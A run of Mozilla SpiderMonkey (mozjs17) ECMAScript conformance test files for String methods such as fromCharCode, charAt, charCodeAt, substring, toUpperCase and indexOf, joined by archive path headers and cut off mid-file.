2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.3.2-2.js ECMA Section: 15.5.3.2 String.fromCharCode( char0, char1, ... ) Description: Return a string value containing as many characters as the number of arguments. Each argument specifies one character of the resulting string, with the first argument specifying the first character, and so on, from left to right. An argument is converted to a character by applying the operation ToUint16_t and regarding the resulting 16bit integeras the Unicode encoding of a character. If no arguments are supplied, the result is the empty string. This tests String.fromCharCode with multiple arguments. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.3.2-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.fromCharCode()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var MYSTRING = String.fromCharCode(eval(\"var args=''; for ( i = 0x0020; i < 0x007f; i++ ) { args += ( i == 0x007e ) ? i : i + ', '; } args;\")); MYSTRING", " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~", eval( "var MYSTRING = String.fromCharCode(" + eval("var args=''; for ( i = 0x0020; i < 0x007f; i++ ) { args += ( i == 0x007e ) ? i : i + ', '; } args;") +"); MYSTRING" )); new TestCase( SECTION, "MYSTRING.length", 0x007f - 0x0020, MYSTRING.length ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.4-3.js0000664000175000017500000000645212106270663020722 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.4-3.js ECMA Section: 15.5.4.4 String.prototype.charAt(pos) Description: Returns a string containing the character at position pos in the string. If there is no character at that string, the result is the empty string. The result is a string value, not a String object. When the charAt method is called with one argument, pos, the following steps are taken: 1. Call ToString, with this value as its argument 2. Call ToInteger pos 3. Compute the number of characters in Result(1) 4. If Result(2) is less than 0 is or not less than Result(3), return the empty string 5. Return a string of length 1 containing one character from result (1), the character at position Result(2). Note that the charAt function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. This tests assiging charAt to a user-defined function. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.4-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.charAt"; writeHeaderToLog( SECTION + " "+ TITLE); var foo = new MyObject('hello'); new TestCase( SECTION, "var foo = new MyObject('hello'); ", "h", foo.charAt(0) ); new TestCase( SECTION, "var foo = new MyObject('hello'); ", "e", foo.charAt(1) ); new TestCase( SECTION, "var foo = new MyObject('hello'); ", "l", foo.charAt(2) ); new TestCase( SECTION, "var foo = new MyObject('hello'); ", "l", foo.charAt(3) ); new TestCase( SECTION, "var foo = new MyObject('hello'); ", "o", foo.charAt(4) ); new TestCase( SECTION, "var foo = new MyObject('hello'); ", "", foo.charAt(-1) ); new TestCase( SECTION, "var foo = new MyObject('hello'); ", "", foo.charAt(5) ); var boo = new MyObject(true); new TestCase( SECTION, "var boo = new MyObject(true); ", "t", boo.charAt(0) ); new TestCase( SECTION, "var boo = new MyObject(true); ", "r", boo.charAt(1) ); new TestCase( SECTION, "var boo = new MyObject(true); ", "u", boo.charAt(2) ); new TestCase( SECTION, "var boo = new MyObject(true); ", "e", boo.charAt(3) ); var noo = new MyObject( Math.PI ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "3", noo.charAt(0) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", ".", noo.charAt(1) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "1", noo.charAt(2) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "4", noo.charAt(3) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "1", noo.charAt(4) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "5", noo.charAt(5) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "9", noo.charAt(6) ); test(); function MyObject (v) { this.value = v; this.toString = new Function( "return this.value +'';" ); this.valueOf = new Function( "return this.value" ); this.charAt = String.prototype.charAt; } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.5-5.js0000664000175000017500000001061012106270663020714 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.5.1.js ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos) Description: Returns a number (a nonnegative integer less than 2^16) representing the Unicode encoding of the character at position pos in this string. If there is no character at that position, the number is NaN. When the charCodeAt method is called with one argument pos, the following steps are taken: 1. Call ToString, giving it the theis value as its argument 2. Call ToInteger(pos) 3. Compute the number of characters in result(1). 4. If Result(2) is less than 0 or is not less than Result(3), return NaN. 5. Return a value of Number type, of positive sign, whose magnitude is the Unicode encoding of one character from result 1, namely the characer at position Result (2), where the first character in Result(1) is considered to be at position 0. Note that the charCodeAt function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.5-5"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.charCodeAt"; writeHeaderToLog( SECTION + " "+ TITLE); var TEST_STRING = ""; for ( var i = 0x0000; i < 255; i++ ) { TEST_STRING += String.fromCharCode( i ); } new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(0)", 0x0074, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(0)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(1)", 0x0072, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(1)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(2)", 0x0075, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(2)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(3)", 0x0065, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(3)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(4)", Number.NaN, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(4)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(-1)", Number.NaN, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(-1)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(true)", 0x0072, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(true)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(false)", 0x0074, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(false)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(0)", Number.NaN, eval("x=new String();x.charCodeAt(0)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(1)", Number.NaN, eval("x=new String();x.charCodeAt(1)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(-1)", Number.NaN, eval("x=new String();x.charCodeAt(-1)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(NaN)", Number.NaN, eval("x=new String();x.charCodeAt(Number.NaN)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(Number.POSITIVE_INFINITY)", Number.NaN, eval("x=new String();x.charCodeAt(Number.POSITIVE_INFINITY)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(Number.NEGATIVE_INFINITY)", Number.NaN, eval("x=new String();x.charCodeAt(Number.NEGATIVE_INFINITY)") ); for ( var j = 0; j < 255; j++ ) { new TestCase( SECTION, "TEST_STRING.charCodeAt("+j+")", j, TEST_STRING.charCodeAt(j) ); } test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.2.js0000664000175000017500000000374412106270663020561 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.2.js ECMA Section: 15.5.4.2 String.prototype.toString Description: Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.5.4.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.tostring"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.toString() == String.prototype.valueOf()", true, String.prototype.toString() == String.prototype.valueOf() ); new TestCase( SECTION, "String.prototype.toString()", "", String.prototype.toString() ); new TestCase( SECTION, "String.prototype.toString.length", 0, String.prototype.toString.length ); new TestCase( SECTION, "TESTSTRING = new String();TESTSTRING.valueOf() == TESTSTRING.toString()", true, eval("TESTSTRING = new String();TESTSTRING.valueOf() == TESTSTRING.toString()") ); new TestCase( SECTION, "TESTSTRING = new String(true);TESTSTRING.valueOf() == TESTSTRING.toString()", true, eval("TESTSTRING = new String(true);TESTSTRING.valueOf() == TESTSTRING.toString()") ); new TestCase( SECTION, "TESTSTRING = new String(false);TESTSTRING.valueOf() == TESTSTRING.toString()", true, eval("TESTSTRING = new String(false);TESTSTRING.valueOf() == TESTSTRING.toString()") ); new TestCase( SECTION, "TESTSTRING = new String(Math.PI);TESTSTRING.valueOf() == TESTSTRING.toString()", true, eval("TESTSTRING = new String(Math.PI);TESTSTRING.valueOf() == TESTSTRING.toString()") ); new TestCase( SECTION, "TESTSTRING = new String();TESTSTRING.valueOf() == TESTSTRING.toString()", true, eval("TESTSTRING = new String();TESTSTRING.valueOf() == TESTSTRING.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.9-1.js0000664000175000017500000001465012106270663020724 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.9-1.js ECMA Section: 15.5.4.9 String.prototype.substring( start ) Description: 15.5.4.9 String.prototype.substring(start) Returns a substring of the result of converting this object to a string, starting from character position start and running to the end of the string. The result is a string value, not a String object. If the argument is NaN or negative, it is replaced with zero; if the argument is larger than the length of the string, it is replaced with the length of the string. When the substring method is called with one argument start, the following steps are taken: 1.Call ToString, giving it the this value as its argument. 2.Call ToInteger(start). 3.Compute the number of characters in Result(1). 4.Compute min(max(Result(2), 0), Result(3)). 5.Return a string whose length is the difference between Result(3) and Result(4), containing characters from Result(1), namely the characters with indices Result(4) through Result(3)1, in ascending order. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.4.9-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.substring( start )"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.substring.length", 2, String.prototype.substring.length ); new TestCase( SECTION, "delete String.prototype.substring.length", false, delete String.prototype.substring.length ); new TestCase( SECTION, "delete String.prototype.substring.length; String.prototype.substring.length", 2, eval("delete String.prototype.substring.length; String.prototype.substring.length") ); // test cases for when substring is called with no arguments. // this is a string object new TestCase( SECTION, "var s = new String('this is a string object'); typeof s.substring()", "string", eval("var s = new String('this is a string object'); typeof s.substring()") ); new TestCase( SECTION, "var s = new String(''); s.substring()", "", eval("var s = new String(''); s.substring()") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring()", "this is a string object", eval("var s = new String('this is a string object'); s.substring()") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(NaN)", "this is a string object", eval("var s = new String('this is a string object'); s.substring(NaN)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(-0.01)", "this is a string object", eval("var s = new String('this is a string object'); s.substring(-0.01)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(s.length)", "", eval("var s = new String('this is a string object'); s.substring(s.length)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(s.length+1)", "", eval("var s = new String('this is a string object'); s.substring(s.length+1)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(Infinity)", "", eval("var s = new String('this is a string object'); s.substring(Infinity)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(-Infinity)", "this is a string object", eval("var s = new String('this is a string object'); s.substring(-Infinity)") ); // this is not a String object, start is not an integer new TestCase( SECTION, "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring()", "1,2,3,4,5", eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring()") ); new TestCase( SECTION, "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(true)", ",2,3,4,5", eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(true)") ); new TestCase( SECTION, "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring('4')", "3,4,5", eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring('4')") ); new TestCase( SECTION, "var s = new Array(); s.substring = String.prototype.substring; s.substring('4')", "", eval("var s = new Array(); s.substring = String.prototype.substring; s.substring('4')") ); // this is an object object new TestCase( SECTION, "var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8)", "Object]", eval("var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8)") ); // this is a function object new TestCase( SECTION, "var obj = new Function(); obj.substring = String.prototype.substring; obj.toString = Object.prototype.toString; obj.substring(8)", "Function]", eval("var obj = new Function(); obj.substring = String.prototype.substring; obj.toString = Object.prototype.toString; obj.substring(8)") ); // this is a number object new TestCase( SECTION, "var obj = new Number(NaN); obj.substring = String.prototype.substring; obj.substring(false)", "NaN", eval("var obj = new Number(NaN); obj.substring = String.prototype.substring; obj.substring(false)") ); // this is the Math object new TestCase( SECTION, "var obj = Math; obj.substring = String.prototype.substring; obj.substring(Math.PI)", "ject Math]", eval("var obj = Math; obj.substring = String.prototype.substring; obj.substring(Math.PI)") ); // this is a Boolean object new TestCase( SECTION, "var obj = new Boolean(); obj.substring = String.prototype.substring; obj.substring(new Array())", "false", eval("var obj = new Boolean(); obj.substring = String.prototype.substring; obj.substring(new Array())") ); // this is a user defined object new TestCase( SECTION, "var obj = new MyObject( null ); obj.substring(0)", "null", eval( "var obj = new MyObject( null ); obj.substring(0)") ); test(); function MyObject( value ) { this.value = value; this.substring = String.prototype.substring; this.toString = new Function ( "return this.value+''" ); } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.12-5.js0000664000175000017500000002200012106270663020766 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.12-1.js ECMA Section: 15.5.4.12 String.prototype.toUpperCase() Description: Returns a string equal in length to the length of the result of converting this object to a string. The result is a string value, not a String object. Every character of the result is equal to the corresponding character of the string, unless that character has a Unicode 2.0 uppercase equivalent, in which case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case mapping shall be used, which does not depend on implementation or locale.) Note that the toUpperCase function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.4.12-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.toUpperCase()"; writeHeaderToLog( SECTION + " "+ TITLE); // Armenian // Range: U+0530 to U+058F for ( var i = 0x0530; i <= 0x058F; i++ ) { var U = new Unicode( i ); /* new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()", String.fromCharCode(U.upper), eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()") ); */ new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)", U.upper, eval("var s = new String( String.fromCharCode(i) ); s.toUpperCase().charCodeAt(0)") ); } test(); function MyObject( value ) { this.value = value; this.substring = String.prototype.substring; this.toString = new Function ( "return this.value+''" ); } function Unicode( c ) { u = GetUnicodeValues( c ); this.upper = u[0]; this.lower = u[1] return this; } function GetUnicodeValues( c ) { u = new Array(); u[0] = c; u[1] = c; // upper case Basic Latin if ( c >= 0x0041 && c <= 0x005A) { u[0] = c; u[1] = c + 32; return u; } // lower case Basic Latin if ( c >= 0x0061 && c <= 0x007a ) { u[0] = c - 32; u[1] = c; return u; } // upper case Latin-1 Supplement if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) { u[0] = c; u[1] = c + 32; return u; } // lower case Latin-1 Supplement if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) { u[0] = c - 32; u[1] = c; return u; } if ( c == 0x00FF ) { u[0] = 0x0178; u[1] = c; return u; } // Latin Extended A if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) { // special case for capital I if ( c == 0x0130 ) { u[0] = c; u[1] = 0x0069; return u; } if ( c == 0x0131 ) { u[0] = 0x0049; u[1] = c; return u; } if ( c % 2 == 0 ) { // if it's even, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's odd, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x0178 ) { u[0] = c; u[1] = 0x00FF; return u; } if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) { if ( c % 2 == 1 ) { // if it's odd, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's even, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x017F ) { u[0] = 0x0053; u[1] = c; } // Latin Extended B // need to improve this set if ( c >= 0x0200 && c <= 0x0217 ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c+1; } else { u[0] = c-1; u[1] = c; } return u; } // Latin Extended Additional // Range: U+1E00 to U+1EFF // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html // Spacing Modifier Leters // Range: U+02B0 to U+02FF // Combining Diacritical Marks // Range: U+0300 to U+036F // skip Greek for now // Greek // Range: U+0370 to U+03FF // Cyrillic // Range: U+0400 to U+04FF if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) { u[0] = c; u[1] = c + 80; return u; } if ( c >= 0x0410 && c <= 0x042F ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0x0430 && c<= 0x044F ) { u[0] = c - 32; u[1] = c; return u; } if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) { u[0] = c -80; u[1] = c; return u; } if ( c >= 0x0460 && c <= 0x047F ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c +1; } else { u[0] = c - 1; u[1] = c; } return u; } // Armenian // Range: U+0530 to U+058F if ( c >= 0x0531 && c <= 0x0556 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x0561 && c < 0x0587 ) { u[0] = c - 48; u[1] = c; return u; } // Hebrew // Range: U+0590 to U+05FF // Arabic // Range: U+0600 to U+06FF // Devanagari // Range: U+0900 to U+097F // Bengali // Range: U+0980 to U+09FF // Gurmukhi // Range: U+0A00 to U+0A7F // Gujarati // Range: U+0A80 to U+0AFF // Oriya // Range: U+0B00 to U+0B7F // no capital / lower case // Tamil // Range: U+0B80 to U+0BFF // no capital / lower case // Telugu // Range: U+0C00 to U+0C7F // no capital / lower case // Kannada // Range: U+0C80 to U+0CFF // no capital / lower case // Malayalam // Range: U+0D00 to U+0D7F // Thai // Range: U+0E00 to U+0E7F // Lao // Range: U+0E80 to U+0EFF // Tibetan // Range: U+0F00 to U+0FBF // Georgian // Range: U+10A0 to U+10F0 if ( c >= 0x10A0 && c <= 0x10C5 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x10D0 && c <= 0x10F5 ) { u[0] = c; u[1] = c; return u; } // Hangul Jamo // Range: U+1100 to U+11FF // Greek Extended // Range: U+1F00 to U+1FFF // skip for now // General Punctuation // Range: U+2000 to U+206F // Superscripts and Subscripts // Range: U+2070 to U+209F // Currency Symbols // Range: U+20A0 to U+20CF // Combining Diacritical Marks for Symbols // Range: U+20D0 to U+20FF // skip for now // Number Forms // Range: U+2150 to U+218F // skip for now // Arrows // Range: U+2190 to U+21FF // Mathematical Operators // Range: U+2200 to U+22FF // Miscellaneous Technical // Range: U+2300 to U+23FF // Control Pictures // Range: U+2400 to U+243F // Optical Character Recognition // Range: U+2440 to U+245F // Enclosed Alphanumerics // Range: U+2460 to U+24FF // Box Drawing // Range: U+2500 to U+257F // Block Elements // Range: U+2580 to U+259F // Geometric Shapes // Range: U+25A0 to U+25FF // Miscellaneous Symbols // Range: U+2600 to U+26FF // Dingbats // Range: U+2700 to U+27BF // CJK Symbols and Punctuation // Range: U+3000 to U+303F // Hiragana // Range: U+3040 to U+309F // Katakana // Range: U+30A0 to U+30FF // Bopomofo // Range: U+3100 to U+312F // Hangul Compatibility Jamo // Range: U+3130 to U+318F // Kanbun // Range: U+3190 to U+319F // Enclosed CJK Letters and Months // Range: U+3200 to U+32FF // CJK Compatibility // Range: U+3300 to U+33FF // Hangul Syllables // Range: U+AC00 to U+D7A3 // High Surrogates // Range: U+D800 to U+DB7F // Private Use High Surrogates // Range: U+DB80 to U+DBFF // Low Surrogates // Range: U+DC00 to U+DFFF // Private Use Area // Range: U+E000 to U+F8FF // CJK Compatibility Ideographs // Range: U+F900 to U+FAFF // Alphabetic Presentation Forms // Range: U+FB00 to U+FB4F // Arabic Presentation Forms-A // Range: U+FB50 to U+FDFF // Combining Half Marks // Range: U+FE20 to U+FE2F // CJK Compatibility Forms // Range: U+FE30 to U+FE4F // Small Form Variants // Range: U+FE50 to U+FE6F // Arabic Presentation Forms-B // Range: U+FE70 to U+FEFF // Halfwidth and Fullwidth Forms // Range: U+FF00 to U+FFEF if ( c >= 0xFF21 && c <= 0xFF3A ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0xFF41 && c <= 0xFF5A ) { u[0] = c - 32; u[1] = c; return u; } // Specials // Range: U+FFF0 to U+FFFF return u; } function DecimalToHexString( n ) { n = Number( n ); var h = "0x"; for ( var i = 3; i >= 0; i-- ) { if ( n >= Math.pow(16, i) ){ var t = Math.floor( n / Math.pow(16, i)); n -= t * Math.pow(16, i); if ( t >= 10 ) { if ( t == 10 ) { h += "A"; } if ( t == 11 ) { h += "B"; } if ( t == 12 ) { h += "C"; } if ( t == 13 ) { h += "D"; } if ( t == 14 ) { h += "E"; } if ( t == 15 ) { h += "F"; } } else { h += String( t ); } } else { h += "0"; } } return h; } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.6-2.js0000664000175000017500000002342412106270663020721 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.6-1.js ECMA Section: 15.5.4.6 String.prototype.indexOf( searchString, pos) Description: If the given searchString appears as a substring of the result of converting this object to a string, at one or more positions that are at or to the right of the specified position, then the index of the leftmost such position is returned; otherwise -1 is returned. If positionis undefined or not supplied, 0 is assumed, so as to search all of the string. When the indexOf method is called with two arguments, searchString and pos, the following steps are taken: 1. Call ToString, giving it the this value as its argument. 2. Call ToString(searchString). 3. Call ToInteger(position). (If position is undefined or not supplied, this step produces the value 0). 4. Compute the number of characters in Result(1). 5. Compute min(max(Result(3), 0), Result(4)). 6. Compute the number of characters in the string that is Result(2). 7. Compute the smallest possible integer k not smaller than Result(5) such that k+Result(6) is not greater than Result(4), and for all nonnegative integers j less than Result(6), the character at position k+j of Result(1) is the same as the character at position j of Result(2); but if there is no such integer k, then compute the value -1. 8. Return Result(7). Note that the indexOf function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com, pschwartau@netscape.com Date: 02 October 1997 Modified: 14 July 2002 Reason: See http://bugzilla.mozilla.org/show_bug.cgi?id=155289 ECMA-262 Ed.3 Section 15.5.4.7 The length property of the indexOf method is 1 * */ var SECTION = "15.5.4.6-2"; var VERSION = "ECMA_1"; var TITLE = "String.protoype.indexOf"; var BUGNUMBER="105721"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); // the following test regresses http://scopus/bugsplat/show_bug.cgi?id=105721 // regress http://scopus/bugsplat/show_bug.cgi?id=105721 new TestCase( SECTION, "function f() { return this; }; function g() { var h = f; return h(); }; g().toString()", GLOBAL, g().toString() ); new TestCase( SECTION, "String.prototype.indexOf.length", 1, String.prototype.indexOf.length ); new TestCase( SECTION, "String.prototype.indexOf.length = null; String.prototype.indexOf.length", 1, eval("String.prototype.indexOf.length = null; String.prototype.indexOf.length") ); new TestCase( SECTION, "delete String.prototype.indexOf.length", false, delete String.prototype.indexOf.length ); new TestCase( SECTION, "delete String.prototype.indexOf.length; String.prototype.indexOf.length", 1, eval("delete String.prototype.indexOf.length; String.prototype.indexOf.length") ); new TestCase( SECTION, "var s = new String(); s.indexOf()", -1, eval("var s = new String(); s.indexOf()") ); // some Unicode tests. // generate a test string. var TEST_STRING = ""; for ( var u = 0x00A1; u <= 0x00FF; u++ ) { TEST_STRING += String.fromCharCode( u ); } for ( var u = 0x00A1, i = 0; u <= 0x00FF; u++, i++ ) { new TestCase( SECTION, "TEST_STRING.indexOf( " + String.fromCharCode(u) + " )", i, TEST_STRING.indexOf( String.fromCharCode(u) ) ); } for ( var u = 0x00A1, i = 0; u <= 0x00FF; u++, i++ ) { new TestCase( SECTION, "TEST_STRING.indexOf( " + String.fromCharCode(u) + ", void 0 )", i, TEST_STRING.indexOf( String.fromCharCode(u), void 0 ) ); } var foo = new MyObject('hello'); new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('h')", 0, foo.indexOf("h") ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('e')", 1, foo.indexOf("e") ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('l')", 2, foo.indexOf("l") ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('l')", 2, foo.indexOf("l") ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('o')", 4, foo.indexOf("o") ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('X')", -1, foo.indexOf("X") ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf(5) ", -1, foo.indexOf(5) ); var boo = new MyObject(true); new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('t')", 0, boo.indexOf("t") ); new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('r')", 1, boo.indexOf("r") ); new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('u')", 2, boo.indexOf("u") ); new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('e')", 3, boo.indexOf("e") ); new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('true')", 0, boo.indexOf("true") ); new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('rue')", 1, boo.indexOf("rue") ); new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('ue')", 2, boo.indexOf("ue") ); new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('oy')", -1, boo.indexOf("oy") ); var noo = new MyObject( Math.PI ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('3') ", 0, noo.indexOf('3') ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('.') ", 1, noo.indexOf('.') ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('1') ", 2, noo.indexOf('1') ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('4') ", 3, noo.indexOf('4') ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('1') ", 2, noo.indexOf('1') ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('5') ", 5, noo.indexOf('5') ); new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('9') ", 6, noo.indexOf('9') ); new TestCase( SECTION, "var arr = new Array('new','zoo','revue'); arr.indexOf = String.prototype.indexOf; arr.indexOf('new')", 0, eval("var arr = new Array('new','zoo','revue'); arr.indexOf = String.prototype.indexOf; arr.indexOf('new')") ); new TestCase( SECTION, "var arr = new Array('new','zoo','revue'); arr.indexOf = String.prototype.indexOf; arr.indexOf(',zoo,')", 3, eval("var arr = new Array('new','zoo','revue'); arr.indexOf = String.prototype.indexOf; arr.indexOf(',zoo,')") ); new TestCase( SECTION, "var obj = new Object(); obj.indexOf = String.prototype.indexOf; obj.indexOf('[object Object]')", 0, eval("var obj = new Object(); obj.indexOf = String.prototype.indexOf; obj.indexOf('[object 